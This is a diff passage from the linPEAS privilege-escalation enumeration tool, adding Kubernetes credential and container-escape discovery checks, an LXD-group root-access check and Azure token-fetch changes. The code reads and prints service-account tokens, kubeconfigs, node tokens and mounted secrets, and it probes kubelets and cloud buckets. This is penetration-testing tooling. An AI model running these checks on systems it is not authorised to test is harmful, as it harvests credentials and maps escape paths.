-d "$k8s_root/etc/rancher/rke2" ] || [ -d "$k8s_root/var/lib/k0s" ] || continue + printf ' Possible mounted node root: %s\n' "$k8s_root" + for k8s_file in "$k8s_root/etc/kubernetes/admin.conf" \ + "$k8s_root/etc/kubernetes/kubelet.conf" \ + "$k8s_root/var/lib/kubelet/kubeconfig" \ + "$k8s_root/var/lib/kubelet/config.yaml" \ + "$k8s_root/etc/rancher/k3s/k3s.yaml" \ + "$k8s_root/etc/rancher/k3s/config.yaml" \ + "$k8s_root/etc/rancher/rke2/rke2.yaml" \ + "$k8s_root/etc/rancher/rke2/config.yaml" \ + "$k8s_root/var/lib/rancher/rke2/server/cred/admin.kubeconfig" \ + "$k8s_root/var/lib/rancher/rke2/server/node-token" \ + "$k8s_root/var/lib/rancher/k3s/server/node-token" \ + "$k8s_root/var/lib/k0s/pki/admin.conf"; do + k8s_show_file "$k8s_file" + done + k8s_scan_kubelet_config "$k8s_root/var/lib/kubelet/config.yaml" + if [ -d "$k8s_root/var/lib/rancher/rke2/agent/etc/kubelet.conf.d" ]; then + find "$k8s_root/var/lib/rancher/rke2/agent/etc/kubelet.conf.d" \ + -maxdepth 1 -type f -print 2>/dev/null | head -n 20 + fi + k8s_scan_pod_volumes "$k8s_root/var/lib/kubelet/pods" + k8s_root_count=$((k8s_root_count + 1)) + if [ "$k8s_root_count" -ge 10 ]; then + echo ' Mounted node-root listing stopped at 10 directories' + break + fi + done +} + +k8s_scan_kubelet_mounts() { + [ -r "$1" ] || return + awk '$4 ~ "^/var/lib/kubelet(/|$)" {print $4 "|" $5}' "$1" 2>/dev/null | + head -n 40 | + while IFS='|' read -r k8s_mount_root k8s_mount; do + case "$k8s_mount" in /var/lib/kubelet|/var/lib/kubelet/pods) continue ;; esac + [ -d "$k8s_mount" ] || continue + printf ' Kubelet source %s mounted at %s\n' "$k8s_mount_root" "$k8s_mount" + case "$k8s_mount_root" in + /var/lib/kubelet) + k8s_show_file "$k8s_mount/kubeconfig" + k8s_show_file "$k8s_mount/config.yaml" + k8s_scan_kubelet_config "$k8s_mount/config.yaml" + k8s_scan_pod_volumes "$k8s_mount/pods" + ;; + /var/lib/kubelet/pods) + k8s_scan_pod_volumes "$k8s_mount" + ;; + *'/volumes/kubernetes.io~secret/'*|*'/volumes/kubernetes.io~projected/'*) + ls -A "$k8s_mount" 2>/dev/null | head -n 40 | sed 's/^/ /' + k8s_show_file "$k8s_mount/token" + ;; + esac + done +} + +k8s_scan_mountinfo() { + [ -r "$1" ] || return + awk '$4 ~ "^/var/log(/|$)" || $5 == "/var/log" || + $4 ~ "^/var/lib/kubelet(/|$)" || $5 ~ "^/var/lib/kubelet(/|$)" || + $4 ~ "^/etc/kubernetes(/|$)" || $5 ~ "^/etc/kubernetes(/|$)" || + $5 ~ "^/(host|hostroot|rootfs|node|hostproc|mnt/host|mnt/node)(/|$)" { + print $4 "|" $5 "|" $6 + }' "$1" 2>/dev/null | head -n 80 | + while IFS='|' read -r k8s_mount_root k8s_mount k8s_mount_options; do + k8s_writable=no + case "$k8s_mount_options" in + rw|rw,*) + [ -w "$k8s_mount" ] && [ -x "$k8s_mount" ] && k8s_writable=yes + ;; + esac + printf ' source-root=%s mount=%s options=%s write+search=%s\n' \ + "$k8s_mount_root" "$k8s_mount" "$k8s_mount_options" "$k8s_writable" + case "$k8s_mount_root:$k8s_mount_options:$k8s_writable" in + /var/log*:rw,*:yes) + echo ' Potential writable host-log mount; node origin and nodes/proxy access need confirmation' ;; + esac + if [ "$k8s_mount" = /var/log ] && [ "$k8s_writable" = yes ]; then + echo ' Writable /var/log mount; hostPath origin needs confirmation' + fi + done +} + +k8s_scan_kernel_mounts() { + [ -r "$1" ] || return + awk '$0 ~ / - proc / {print $5}' "$1" 2>/dev/null | head -n 20 | + while IFS= read -r k8s_mount; do + k8s_show_file "$k8s_mount/sys/kernel/core_pattern" + done + awk '$0 ~ / - cgroup / {print $5}' "$1" 2>/dev/null | head -n 20 | + while IFS= read -r k8s_mount; do + k8s_show_file "$k8s_mount/release_agent" + k8s_show_file "$k8s_mount/notify_on_release" + done +} + +k8s_cap_has() { + case "$1" in ''|*[!0-9a-fA-F]*) return 1 ;; esac + k8s_cap_low="$(printf '%s' "$1" | sed 's/.*\(........\)$/\1/')" + [ "$((0x$k8s_cap_low & (1 << $2)))" -ne 0 ] +} + +k8s_scan_escape_prereqs() { + [ -r /proc/self/status ] || return + k8s_cap_eff="$(awk '/^CapEff:/ {print $2; exit}' /proc/self/status 2>/dev/null)" + printf ' Effective UID: %s\n' "$(id -u 2>/dev/null)" + for k8s_file in 'CAP_SYS_ADMIN:21' 'CAP_SYS_CHROOT:18' 'CAP_SYS_PTRACE:19'; do + if k8s_cap_has "$k8s_cap_eff" "${k8s_file#*:}"; then + printf ' %s: present\n' "${k8s_file%%:*}" + else + printf ' %s: absent or unknown\n' "${k8s_file%%:*}" + fi + done + for k8s_file in pid user mnt net ipc uts cgroup; do + k8s_ns_self="$(readlink "/proc/self/ns/$k8s_file" 2>/dev/null)" + k8s_ns_one="$(readlink "/proc/1/ns/$k8s_file" 2>/dev/null)" + [ "$k8s_ns_self" ] && [ "$k8s_ns_one" ] || continue + if [ "$k8s_ns_self" = "$k8s_ns_one" ]; then + printf ' %s namespace matches visible PID 1\n' "$k8s_file" + else + printf ' %s namespace differs from visible PID 1\n' "$k8s_file" + fi + done + # Matching visible PID 1 is not proof that it is the physical node's init. + if command -v stat >/dev/null 2>&1; then + k8s_ns_self="$(stat -Lc '%d:%i' /proc/self/root 2>/dev/null)" + k8s_ns_one="$(stat -Lc '%d:%i' /proc/1/root 2>/dev/null)" + if [ "$k8s_ns_self" ] && [ "$k8s_ns_one" ] && [ "$k8s_ns_self" != "$k8s_ns_one" ]; then + echo ' Visible PID 1 has a distinct filesystem root' + [ -x /proc/1/root/bin/sh ] && echo ' /bin/sh is executable in visible PID 1 root' + fi + fi +} + +k8s_runc_21626_upstream_range() { + case "$1" in + 1.0.0-rc*) + k8s_rc="${1#1.0.0-rc}" + case "$k8s_rc" in ''|*[!0-9]*) return 1 ;; esac + [ "$k8s_rc" -ge 93 ] + return + ;; + *-*) return 1 ;; + esac + printf '%s\n' "$1" | + awk -F. '$1 == 1 && ($2 == 0 || ($2 == 1 && $3 ~ /^[0-9]+$/ && $3 < 12)) {found=1} + END {exit !found}' +} + +k8s_scan_runc_21626() { + command -v runc >/dev/null 2>&1 || return + k8s_runc_version="$(runc --version 2>/dev/null | sed -n 's/^runc version \([0-9][0-9A-Za-z.+-]*\).*/\1/p' | head -n 1)" + [ "$k8s_runc_version" ] || return + printf ' Visible runc version: %s\n' "$k8s_runc_version" + if k8s_runc_21626_upstream_range "$k8s_runc_version"; then + echo ' CVE-2024-21626: upstream version is in the affected range; vendor backports need confirmation' + fi +} + +k8s_scan_sockets() { + k8s_docker_host="$(env | sed -n 's/^DOCKER_HOST=//p' | head -n 1)" + case "$k8s_docker_host" in + unix://*) + k8s_socket="${k8s_docker_host#unix://}" + [ -S "$k8s_socket" ] && k8s_show_file "$k8s_socket" + ;; + esac + for k8s_socket in /run/docker.sock /var/run/docker.sock \ + /run/containerd/containerd.sock /var/run/containerd/containerd.sock \ + /run/k3s/containerd/containerd.sock /run/crio/crio.sock \ + /var/run/crio/crio.sock /run/cri-dockerd.sock \ + /var/run/dockershim.sock /run/podman/podman.sock; do + [ -S "$k8s_socket" ] && k8s_show_file "$k8s_socket" + done + for k8s_dir in /run /var/run; do + [ -d "$k8s_dir" ] || continue + find "$k8s_dir" -maxdepth 4 -type s \( -name '*kubelet*.sock' -o \ + -name '*containerd*.sock' -o -name '*crio*.sock' -o \ + -name '*docker*.sock' -o -name '*podman*.sock' \) \ + -print 2>/dev/null | head -n 40 + done +} + +k8s_scan_kubelet_processes() { + for k8s_pid in $(ps -eo pid=,comm= 2>/dev/null | awk '$2 == "kubelet" {print $1}' | head -n 5); do + [ -r "/proc/$k8s_pid/cmdline" ] || continue + printf ' kubelet PID %s:\n' "$k8s_pid" + tr '\000' '\n' < "/proc/$k8s_pid/cmdline" 2>/dev/null | + awk ' + pending { print " " pending "=" $0; pending=""; next } + /^--(kubeconfig|bootstrap-kubeconfig|config|cert-dir|root-dir|read-only-port|port|address|anonymous-auth|authorization-mode|client-ca-file|node-ip)$/ { + pending=$0; next + } + /^--(kubeconfig|bootstrap-kubeconfig|config|cert-dir|root-dir|read-only-port|port|address|anonymous-auth|authorization-mode|client-ca-file|node-ip)=/ { + print " " $0 + } + ' + done +} + +k8s_direct_api_ready() { + command -v curl >/dev/null 2>&1 && command -v jq >/dev/null 2>&1 || return 1 + k8s_direct_token_file='' + k8s_direct_ca='' + [ "$#" -gt 0 ] || set -- /var/run/secrets/kubernetes.io/serviceaccount \ + /run/secrets/kubernetes.io/serviceaccount /secrets/kubernetes.io/serviceaccount + for k8s_dir do + if [ -r "$k8s_dir/token" ] && [ -r "$k8s_dir/ca.crt" ]; then + k8s_direct_token_file="$k8s_dir/token" + k8s_direct_ca="$k8s_dir/ca.crt" + break + fi + done + [ "$k8s_direct_token_file" ] || return 1 + if [ -r "$k8s_dir/namespace" ] && [ ! "$k8s_namespace" ]; then + k8s_namespace="$(head -n 1 "$k8s_dir/namespace" 2>/dev/null)" + fi + [ "$k8s_namespace" ] || k8s_namespace=default + case "$k8s_namespace" in ''|*[!a-z0-9-]*) return 1 ;; esac + k8s_direct_host="${KUBERNETES_SERVICE_HOST:-kubernetes.default.svc}" + case "$k8s_direct_host" in ''|*[!A-Za-z0-9.:-]*) return 1 ;; esac + case "$k8s_direct_host" in *:*) k8s_direct_host="[$k8s_direct_host]" ;; esac + k8s_direct_port="${KUBERNETES_SERVICE_PORT_HTTPS:-443}" + case "$k8s_direct_port" in ''|*[!0-9]*) return 1 ;; esac + k8s_direct_base="https://$k8s_direct_host:$k8s_direct_port" + k8s_direct_token="$(tr -d '\r\n' < "$k8s_direct_token_file" 2>/dev/null)" + case "$k8s_direct_token" in ''|*[!A-Za-z0-9._~-]*) k8s_direct_token=''; return 1 ;; esac +} + +k8s_sa_api_get() { + # Ignore curlrc: inherited tracing or credentials must not affect discovery. + printf 'header = "Authorization: Bearer %s"\n' "$k8s_direct_token" | + curl -q --config - -fsS --connect-timeout 2 --max-time 5 \ + --cacert "$k8s_direct_ca" -H 'Accept: application/json' \ + "$k8s_direct_base$1" 2>/dev/null +} + +k8s_scan_sa_api() { + k8s_direct_api_ready "$@" || return + echo ' Kubernetes API discovery with mounted service account (names and settings only):' + k8s_sa_api_get '/api/v1/namespaces?limit=100' | + jq -r '.items[]?.metadata.name // empty' 2>/dev/null | head -n 40 | sed 's/^/ namespace: /' + k8s_sa_api_get "/api/v1/namespaces/$k8s_namespace/pods?limit=100" | + jq -r '.items[]? | ( + "\(.metadata.name) sa=\(.spec.serviceAccountName // "default") hostPID=\(.spec.hostPID // false) hostIPC=\(.spec.hostIPC // false) hostNetwork=\(.spec.hostNetwork // false)", + (.spec.containers[]? | " container \(.name) privileged=\(.securityContext.privileged // false) allowPE=\((.securityContext.allowPrivilegeEscalation | if . == null then "default" else . end)) caps=\((.securityContext.capabilities.add // []) | join(","))"), + (.spec.volumes[]? | select(.hostPath.path != null) | " hostPath \(.hostPath.path)") + )' 2>/dev/null | head -n 100 | sed 's/^/ pod: /' + for k8s_file in services serviceaccounts secrets; do + k8s_sa_api_get "/api/v1/namespaces/$k8s_namespace/$k8s_file?limit=100" | + jq -r '.items[]? | .metadata.name // empty' 2>/dev/null | head -n 40 | + sed "s/^/ $k8s_file: /" + done + k8s_sa_api_get '/api/v1/nodes?limit=100' | + jq -r '.items[]?.metadata.name // empty' 2>/dev/null | head -n 40 | sed 's/^/ node: /' + k8s_direct_token='' +} + +k8s_kubectl() { + # Request timeouts do not bound credential plugins or all paginated requests. + # Skip kubectl when a process-wide deadline cannot be enforced. + command -v timeout >/dev/null 2>&1 || return 1 + timeout -s KILL 5 kubectl "$@" +} + +k8s_scan_kubectl() { + if ! command -v kubectl >/dev/null 2>&1; then + [ "$EXTRA_CHECKS" ] && k8s_scan_sa_api + return 0 + fi + echo ' Local kubeconfig contexts:' + k8s_kubectl config get-contexts -o name 2>/dev/null | head -n 30 | sed 's/^/ /' + [ "$EXTRA_CHECKS" ] || return 0 + + k8s_current_context="$(k8s_kubectl config current-context 2>/dev/null | head -n 1)" + if [ ! "$k8s_current_context" ] && k8s_direct_api_ready; then + k8s_direct_token='' + k8s_scan_sa_api + return 0 + fi + k8s_context_name="$(k8s_kubectl config view --minify -o 'jsonpath={..namespace}' 2>/dev/null | head -c 200)" + [ "$k8s_context_name" ] && k8s_namespace="$k8s_context_name" + [ "$k8s_namespace" ] || k8s_namespace=default + + echo ' Current context authorization rules:' + k8s_kubectl --request-timeout=5s auth can-i --list -n "$k8s_namespace" \ + 2>/dev/null | head -n 80 + echo ' Other configured context authorization rules (up to five):' + k8s_kubectl config get-contexts -o name 2>/dev/null | head -n 5 | + while IFS= read -r k8s_context_name; do + [ "$k8s_context_name" = "$k8s_current_context" ] && continue + printf ' Context: %s\n' "$k8s_context_name" + k8s_kubectl --context="$k8s_context_name" --request-timeout=5s auth can-i --list \ + 2>/dev/null | head -n 40 | sed 's/^/ /' + done + echo ' Accessible namespace names:' + k8s_kubectl --request-timeout=5s get namespaces -o name 2>/dev/null | head -n 40 + printf ' Accessible object names in namespace %s:\n' "$k8s_namespace" + k8s_kubectl --request-timeout=5s get pods,services,serviceaccounts,secrets \ + -n "$k8s_namespace" -o name 2>/dev/null | head -n 80 + echo ' Accessible node names:' + k8s_kubectl --request-timeout=5s get nodes -o name 2>/dev/null | head -n 40 + echo ' Node-specific get nodes/proxy authorization (up to eight nodes):' + k8s_kubectl --request-timeout=5s get nodes -o name 2>/dev/null | head -n 8 | + while IFS= read -r k8s_node_name; do + case "$k8s_node_name" in node/*|nodes/*) k8s_node_name="${k8s_node_name#*/}" ;; *) continue ;; esac + k8s_probe_status="$(k8s_kubectl --request-timeout=5s auth can-i get \ + "nodes/$k8s_node_name" --subresource=proxy 2>/dev/null)" + case "$k8s_probe_status" in + yes|no) printf ' %s: %s\n' "$k8s_node_name" "$k8s_probe_status" ;; + esac + done + echo ' Pod service accounts, host namespaces and container security settings:' + k8s_kubectl --request-timeout=5s get pods -n "$k8s_namespace" \ + -o 'jsonpath={range .items[*]}{.metadata.name}{" sa="}{.spec.serviceAccountName}{" hostPID="}{.spec.hostPID}{" hostIPC="}{.spec.hostIPC}{" hostNetwork="}{.spec.hostNetwork}{" containers="}{range .spec.containers[*]}{.name}{"(privileged="}{.securityContext.privileged}{",allowPE="}{.securityContext.allowPrivilegeEscalation}{",caps="}{.securityContext.capabilities.add}{") "}{end}{"\n"}{end}' \ + 2>/dev/null | head -n 60 + echo ' Pod hostPath sources:' + k8s_kubectl --request-timeout=5s get pods -n "$k8s_namespace" \ + -o 'jsonpath={range .items[*]}{.metadata.name}{": "}{range .spec.volumes[*]}{.hostPath.path}{" "}{end}{"\n"}{end}' \ + 2>/dev/null | grep -E ': /' | head -n 60 +} + +k8s_probe_kubelet() { + command -v curl >/dev/null 2>&1 || return + case "$1" in ''|*[!0-9a-fA-F:.]*) return ;; esac + k8s_probe_host="$1" + case "$k8s_probe_host" in *:*) k8s_probe_host="[$k8s_probe_host]" ;; esac + for k8s_probe_port in 10250 10255; do + k8s_probe_scheme=https + [ "$k8s_probe_port" = 10255 ] && k8s_probe_scheme=http + # No credentials are sent. An HTTP status only establishes reachability; + # it does not prove kubelet authentication or authorization. + k8s_probe_status="$(curl -q -ksS --noproxy '*' --connect-timeout 1 --max-time 2 \ + -o /dev/null -w '%{http_code}' \ + "$k8s_probe_scheme://$k8s_probe_host:$k8s_probe_port/healthz" 2>/dev/null)" + case "$k8s_probe_status" in + [1-5][0-9][0-9]) + printf ' Kubelet %s://%s:%s responded HTTP %s\n' \ + "$k8s_probe_scheme" "$k8s_probe_host" "$k8s_probe_port" "$k8s_probe_status" + ;; + esac + done +} + +k8s_scan_kubelet_network() { + echo ' Reachability of node kubelet ports (up to eight addresses; status only):' + k8s_node_addresses='' + if command -v kubectl >/dev/null 2>&1; then + k8s_node_addresses="$(k8s_kubectl --request-timeout=5s get nodes \ + -o 'jsonpath={range .items[*]}{range .status.addresses[*]}{.address}{"\n"}{end}{end}' \ + 2>/dev/null)" + fi + if [ ! "$k8s_node_addresses" ] && k8s_direct_api_ready; then + k8s_node_addresses="$(k8s_sa_api_get '/api/v1/nodes?limit=100' | + jq -r '.items[]?.status.addresses[]? | select(.type == "InternalIP" or .type == "ExternalIP") | .address' \ + 2>/dev/null)" + k8s_direct_token='' + fi + printf '%s\n' "$k8s_node_addresses" | awk 'NF && !seen[$0]++' | head -n 8 | + while IFS= read -r k8s_node_address; do + k8s_probe_kubelet "$k8s_node_address" + done +} + +k8s_scan_service_dns() { + command -v dig >/dev/null 2>&1 || return + echo ' Kubernetes service SRV records:' + dig +time=2 +tries=1 +short SRV any.any.svc.cluster.local 2>/dev/null | head -n 40 +} + +k8s_scan_kops_storage() { + command -v timeout >/dev/null 2>&1 || return + if command -v aws >/dev/null 2>&1; then + echo ' Accessible S3 buckets (up to 10) and candidate kOps Secret keys (first 100 objects each):' + AWS_MAX_ATTEMPTS=1 timeout -s KILL 12 aws s3api list-buckets \ + --max-items 10 --query 'Buckets[].Name' --output text \ + --cli-connect-timeout 2 --cli-read-timeout 5 \ + 2>/dev/null | tr '\t' '\n' | head -n 10 | + while IFS= read -r k8s_aws_bucket; do + case "$k8s_aws_bucket" in ''|*[!a-z0-9.-]*) continue ;; esac + printf ' s3://%s\n' "$k8s_aws_bucket" + AWS_MAX_ATTEMPTS=1 timeout -s KILL 12 aws s3api list-objects-v2 \ + --bucket "$k8s_aws_bucket" --max-items 100 \ + --query 'Contents[].Key' --output text \ + --cli-connect-timeout 2 --cli-read-timeout 5 \ + 2>/dev/null | tr '\t' '\n' | grep -E '(^|/)secrets/' | head -n 20 | + sed 's/^/ candidate key: /' + done + fi + if command -v gcloud >/dev/null 2>&1; then + echo ' Accessible GCS buckets (up to 10) and candidate kOps Secret objects (first 100 each):' + timeout -s KILL 12 gcloud --quiet storage buckets list --limit=10 \ + --format='value(name)' 2>/dev/null | head -n 10 | + while IFS= read -r k8s_gcs_bucket; do + k8s_gcs_bucket="${k8s_gcs_bucket#gs://}" + case "$k8s_gcs_bucket" in ''|*[!a-z0-9._-]*) continue ;; esac + printf ' gs://%s\n' "$k8s_gcs_bucket" + timeout -s KILL 12 gcloud --quiet storage objects list \ + "gs://$k8s_gcs_bucket/**" --limit=100 --format='value(name)' \ + 2>/dev/null | grep -E '(^|/)secrets/' | head -n 20 | + sed 's/^/ candidate object: /' + done + fi +} + +if k8s_context_present; then + print_2title 'Kubernetes credentials and escape surfaces' 'T1613,T1611,T1552.007' + + print_3title 'Pod identity and projected credentials' 'T1552.007' + k8s_namespace='' + for k8s_dir in /var/run/secrets/kubernetes.io/serviceaccount \ + /run/secrets/kubernetes.io/serviceaccount /secrets/kubernetes.io/serviceaccount; do + [ -d "$k8s_dir" ] || continue + k8s_show_file "$k8s_dir/token" + k8s_show_file "$k8s_dir/ca.crt" + k8s_show_file "$k8s_dir/namespace" + if [ -r "$k8s_dir/namespace" ]; then + k8s_namespace="$(head -n 1 "$k8s_dir/namespace" 2>/dev/null)" + fi + done + for k8s_file in $(env | sed -n -E 's/^(AWS_WEB_IDENTITY_TOKEN_FILE|AZURE_FEDERATED_TOKEN_FILE|GOOGLE_APPLICATION_CREDENTIALS)=//p'); do + k8s_show_file "$k8s_file" + done + [ "$k8s_namespace" ] && printf ' Namespace: %s\n' "$k8s_namespace" + [ -n "$KUBERNETES_SERVICE_HOST" ] && + printf ' API server: %s:%s\n' "$KUBERNETES_SERVICE_HOST" "${KUBERNETES_SERVICE_PORT_HTTPS:-443}" + + print_3title 'Kubeconfigs, client keys and kubelet settings' 'T1552.007' + k8s_scan_kubeconfigs + k8s_scan_kubelet_config /var/lib/kubelet/config.yaml + k8s_scan_kubelet_processes + + print_3title 'Node pod Secret and projected-token volumes' 'T1552.007' + k8s_scan_pod_volumes /var/lib/kubelet/pods + k8s_scan_host_roots /proc/self/mountinfo + k8s_scan_kubelet_mounts /proc/self/mountinfo + + print_3title 'Host filesystem and log mounts' 'T1611' + k8s_scan_mountinfo /proc/self/mountinfo + k8s_scan_kernel_mounts /proc/self/mountinfo + k8s_scan_escape_prereqs + k8s_scan_runc_21626 + [ -d /proc/1/root ] && k8s_show_file /proc/1/root + for k8s_file in /proc/sys/kernel/core_pattern /sys/fs/cgroup/*/release_agent \ + /sys/fs/cgroup/*/notify_on_release; do + [ -e "$k8s_file" ] && k8s_show_file "$k8s_file" + done + + print_3title 'Container runtime and orchestration sockets' 'T1611' + k8s_scan_sockets + + print_3title 'Kubernetes contexts and API discovery' 'T1613' + k8s_scan_kubectl + if [ "$EXTRA_CHECKS" ]; then + print_3title 'Kubelet reachability and service DNS' 'T1613' + k8s_scan_kubelet_network + k8s_scan_service_dns + print_3title 'Cloud storage kOps state candidates' 'T1552.007' + k8s_scan_kops_storage + fi + + echo +fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/6_LXD_group.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/6_LXD_group.sh new file mode 100644 index 00000000..e2d839fb --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/6_LXD_group.sh @@ -0,0 +1,103 @@ +# Title: Container - LXD group root-equivalent access +# ID: CT_LXD_group +# Author: HT Bot +# Last Update: 25-09-2026 +# Description: Detect LXD group membership and access to root-running LXD or the Ubuntu on-demand LXD installer +# License: GNU GPL +# Version: 1.0 +# Mitre: T1069.001,T1613 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG, $E, $IAMROOT, $MACPEAS, $SEARCH_IN_FOLDER, $SED_RED, $SED_RED_YELLOW +# Initial Functions: +# Generated Global Variables: $lxd_group_member, $lxd_installer_config, $lxd_installer_package, $lxd_installer_service_root, $lxd_service_unit, $lxd_socket, $lxd_socket_found, $lxd_unit +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$MACPEAS" ] && ! [ "$SEARCH_IN_FOLDER" ] && [ "${IAMROOT:-0}" != "1" ]; then + lxd_group_member="No" + if id -Gn 2>/dev/null | tr ' ' '\n' | grep -qx lxd; then + lxd_group_member="Yes" + fi + + lxd_socket_found="No" + for lxd_socket in /var/snap/lxd/common/lxd/unix.socket /var/lib/lxd/unix.socket /run/lxd-installer.socket; do + if [ -S "$lxd_socket" ]; then + lxd_socket_found="Yes" + break + fi + done + + lxd_unit="" + for lxd_unit in /etc/systemd/system/lxd-installer.socket /run/systemd/system/lxd-installer.socket /usr/lib/systemd/system/lxd-installer.socket /lib/systemd/system/lxd-installer.socket; do + [ -r "$lxd_unit" ] && break + lxd_unit="" + done + + lxd_service_unit="" + for lxd_service_unit in /etc/systemd/system/lxd-installer@.service /run/systemd/system/lxd-installer@.service /usr/lib/systemd/system/lxd-installer@.service /lib/systemd/system/lxd-installer@.service; do + [ -r "$lxd_service_unit" ] && break + lxd_service_unit="" + done + + lxd_installer_config="No" + lxd_installer_service_root="No" + if [ "$lxd_unit" ] && \ + grep -Eq '^[[:space:]]*ListenStream[[:space:]]*=[[:space:]]*/run/lxd-installer\.socket([[:space:]]*(#.*)?)?$' "$lxd_unit" 2>/dev/null && \ + grep -Eq '^[[:space:]]*SocketUser[[:space:]]*=[[:space:]]*root([[:space:]]*(#.*)?)?$' "$lxd_unit" 2>/dev/null && \ + grep -Eq '^[[:space:]]*SocketGroup[[:space:]]*=[[:space:]]*lxd([[:space:]]*(#.*)?)?$' "$lxd_unit" 2>/dev/null && \ + grep -Eq '^[[:space:]]*SocketMode[[:space:]]*=[[:space:]]*0?660([[:space:]]*(#.*)?)?$' "$lxd_unit" 2>/dev/null && \ + grep -Eiq '^[[:space:]]*Accept[[:space:]]*=[[:space:]]*(yes|true|1)([[:space:]]*(#.*)?)?$' "$lxd_unit" 2>/dev/null; then + lxd_installer_config="Yes" + fi + + if [ "$lxd_service_unit" ] && \ + grep -Eq '^[[:space:]]*ExecStart[[:space:]]*=[[:space:]]*/usr/share/lxd-installer/lxd-installer-service([[:space:]]|$)' "$lxd_service_unit" 2>/dev/null; then + lxd_installer_service_root="Yes" + if grep -Eq '^[[:space:]]*User[[:space:]]*=' "$lxd_service_unit" 2>/dev/null && \ + ! grep -Eq '^[[:space:]]*User[[:space:]]*=[[:space:]]*root([[:space:]]*(#.*)?)?$' "$lxd_service_unit" 2>/dev/null; then + lxd_installer_service_root="No" + fi + fi + + lxd_installer_package="" + if command -v dpkg-query >/dev/null 2>&1; then + lxd_installer_package="$(dpkg-query -W -f='$''{db:Status-Abbrev} $''{Version}' lxd-installer 2>/dev/null)" + fi + + if [ "$lxd_group_member" = "Yes" ] || [ "$lxd_socket_found" = "Yes" ] || \ + [ "$lxd_installer_config" = "Yes" ] || [ "$DEBUG" ]; then + print_2title "LXD group and root-equivalent socket access" "T1069.001,T1613" + print_info "https://starlabs.sg/blog/2026/06-old-wine-in-a-new-bottle-a-decade-old-lxd-group-root-re-armed" + + if [ "$lxd_group_member" = "Yes" ]; then + echo "Current user belongs to the lxd group (root-equivalent when LXD or its installer is reachable)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + echo "An LXD administrator can create a privileged container and attach the host filesystem" + else + echo "Current user does not belong to the lxd group" + fi + + for lxd_socket in /var/snap/lxd/common/lxd/unix.socket /var/lib/lxd/unix.socket /run/lxd-installer.socket; do + if [ -S "$lxd_socket" ]; then + ls -ld "$lxd_socket" 2>/dev/null + if [ -w "$lxd_socket" ]; then + echo "Current user can write to $lxd_socket" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi + fi + done + + if [ "$lxd_installer_package" ]; then + echo "lxd-installer package: $lxd_installer_package" + fi + if [ "$lxd_installer_config" = "Yes" ]; then + echo "LXD installer socket is configured root:lxd mode 0660 with per-connection activation: $lxd_unit" | sed -${E} "s,.*,${SED_RED}," + fi + if [ "$lxd_installer_service_root" = "Yes" ]; then + echo "LXD installer service runs as root: $lxd_service_unit" | sed -${E} "s,.*,${SED_RED}," + fi + if command -v lxc >/dev/null 2>&1; then + echo "LXD client/wrapper: $(command -v lxc 2>/dev/null)" + fi + echo "" + fi +fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/7_RW_bind_mounts_nosuid.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/7_RW_bind_mounts_nosuid.sh index 59b60cf5..7ff0c7b8 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/7_RW_bind_mounts_nosuid.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/7_RW_bind_mounts_nosuid.sh @@ -21,7 +21,7 @@ containerCheck if [ "$inContainer" ]; then echo "" print_2title "Container - Writable bind mounts w/o nosuid (SUID persistence risk)" "T1611" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/container-security/privileged-containers.html#writable-bind-mounts" + print_info "https://book.hacktricks.wiki/en/linux-hardening/containers-namespaces/container-security/sensitive-host-mounts.html" if [ -r /proc/self/mountinfo ]; then CT_RW_bind_mounts_matches=$(grep -E "(^| )bind( |$)" /proc/self/mountinfo 2>/dev/null | grep -E "(^|,)rw(,|$)" | grep -v "nosuid" || true) diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/10_Azure_automation_account.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/10_Azure_automation_account.sh index 9f9a7e36..888d3cd6 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/10_Azure_automation_account.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/10_Azure_automation_account.sh @@ -1,12 +1,12 @@ # Title: Cloud - Azure Automation Account # ID: CL_Azure_automation_account # Author: Carlos Polop -# Last Update: 22-08-2023 +# Last Update: 31-07-2026 # Description: Azure Automation Account Service Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 -# Functions Used: check_az_automation_acc, exec_with_jq, print_2title, print_3title +# Functions Used: check_az_automation_acc, print_2title, set_azure_request_command, print_azure_standard_identity_tokens # Global Variables: $is_az_automation_acc, # Initial Functions: check_az_automation_acc # Generated Global Variables: $API_VERSION, $HEADER, $az_req @@ -20,27 +20,10 @@ if [ "$is_az_automation_acc" = "Yes" ]; then print_2title "Azure Automation Account Service Enumeration" "T1552.005,T1580" HEADER="X-IDENTITY-HEADER:$IDENTITY_HEADER" - az_req="" - if [ "$(command -v curl || echo -n '')" ]; then - az_req="curl -s -f -L -H '$HEADER'" - elif [ "$(command -v wget || echo -n '')" ]; then - az_req="wget -q -O - --header '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi + set_azure_request_command if [ "$az_req" ]; then - print_3title "Management token" "T1552.005,T1580" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" - echo - print_3title "Graph token" "T1552.005,T1580" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" - echo - print_3title "Vault token" 